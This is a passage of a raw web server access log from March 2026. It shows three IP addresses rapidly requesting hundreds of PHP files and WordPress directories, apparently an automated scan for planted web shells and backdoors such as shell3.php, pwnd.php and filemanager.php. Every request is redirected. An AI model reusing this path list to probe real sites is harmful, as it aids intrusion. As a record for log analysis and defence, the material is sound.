"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.205 - - [08/Mar/2026:08:11:05 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:08 +0300] "GET /3PJcpMFsD8B.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.205 - - [08/Mar/2026:08:11:11 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.205 - - [08/Mar/2026:08:11:14 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:17 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.205 - - [08/Mar/2026:08:11:18 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.205 - - [08/Mar/2026:08:11:18 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.205 - - [08/Mar/2026:08:11:18 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:21 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.205 - - [08/Mar/2026:08:11:22 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:25 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.205 - - [08/Mar/2026:08:11:26 +0300] "GET /wp-includes/speculative8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:28 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.205 - - [08/Mar/2026:08:11:31 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:31 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.205 - - [08/Mar/2026:08:11:34 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:35 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.205 - - [08/Mar/2026:08:11:38 +0300] "GET /wp-includes/js/dist HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:39 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:42 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:42 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:44 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:44 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.205 - - [08/Mar/2026:08:11:47 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.205 - - [08/Mar/2026:08:11:48 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.205 - - [08/Mar/2026:08:11:48 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 4.204.200.32 - - [08/Mar/2026:07:27:44 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:32:06 +0300] "GET /alf4.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:32:09 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:32:12 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:32:15 +0300] "GET /an8.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:32:18 +0300] "GET /1a.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:32:21 +0300] "GET /aaaa.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:32:25 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:32:28 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:32:31 +0300] "GET /xda.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:32:33 +0300] "GET /un.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:33:14 +0300] "GET /trd.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:34:57 +0300] "GET /algox.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:35:01 +0300] "GET /10266.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:35:04 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:35:29 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:35:49 +0300] "GET /public/wp-blog.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:35:52 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:35:54 +0300] "GET /file30.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:35:57 +0300] "GET /elf.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:00 +0300] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:03 +0300] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:07 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:10 +0300] "GET /ws60.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:13 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:17 +0300] "GET /gec.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:20 +0300] "GET /nox.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:23 +0300] "GET /tcp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:26 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:36:29 +0300] "GET /mtrje.php HTTP/1.1" 301 795 "-" "-" 193.37.32.180 - - [08/Mar/2026:08:12:32 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:12:35 +0300] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:12:37 +0300] "GET /shell3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:12:40 +0300] "GET /znv3hcxz6mwjdz1jwxrxiCakc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:12:43 +0300] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:12:45 +0300] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:12:48 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:12:48 +0300] "GET /wp-includes/js/mediaelement/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:12:49 +0300] "GET /wp-includes/blocks/pullquote/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:12:49 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:12:52 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:12:56 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:12:56 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:12:59 +0300] "GET /nrhogjyecktixbal0fnt5Cakc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:13:02 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:13:05 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:13:06 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:13:09 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:13:12 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:13:13 +0300] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:13:16 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:13:19 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:13:22 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:13:24 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:13:28 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:13:28 +0300] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:13:30 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:13:33 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:13:34 +0300] "GET /wp-includes/Text/Diff/Engine/wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:13:36 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:13:40 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:13:42 +0300] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:13:42 +0300] "GET /wp-includes/widgets/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:13:44 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:13:45 +0300] "GET /wordpress/wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:13:47 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:13:49 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:13:52 +0300] "GET /wp-content/uploads/2025/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:13:53 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:13:53 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:13:55 +0300] "GET /wp-domain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:13:57 +0300] "GET /wp-includes/blocks/paragraph/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:13:57 +0300] "GET /wp-content/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:01 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:01 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:14:04 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:14:04 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:05 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:14:05 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:08 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:09 +0300] "GET /uk5pqv0wksbuaourleCakc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:12 +0300] "GET /wp-includes/block-bindings HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:12 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:13 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:13 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:14 +0300] "GET /wp-content/themes/wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:17 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:14:20 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:14:20 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/main_json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:14:24 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:14:27 +0300] "GET /wp-includes/blocks/comment-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:14:27 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:14:30 +0300] "GET /wp-includes/blocks/nextpage/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:30 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:34 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:37 +0300] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:14:40 +0300] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:40 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:41 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.180 - - [08/Mar/2026:08:14:44 +0300] "GET /wp-includes/blocks/query-pagination/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.180 - - [08/Mar/2026:08:14:44 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:14:45 +0300] "GET /wp-admin/admin-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:14:48 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.180 - - [08/Mar/2026:08:14:48 +0300] "GET /wp-admin/js/widgets/admin.php 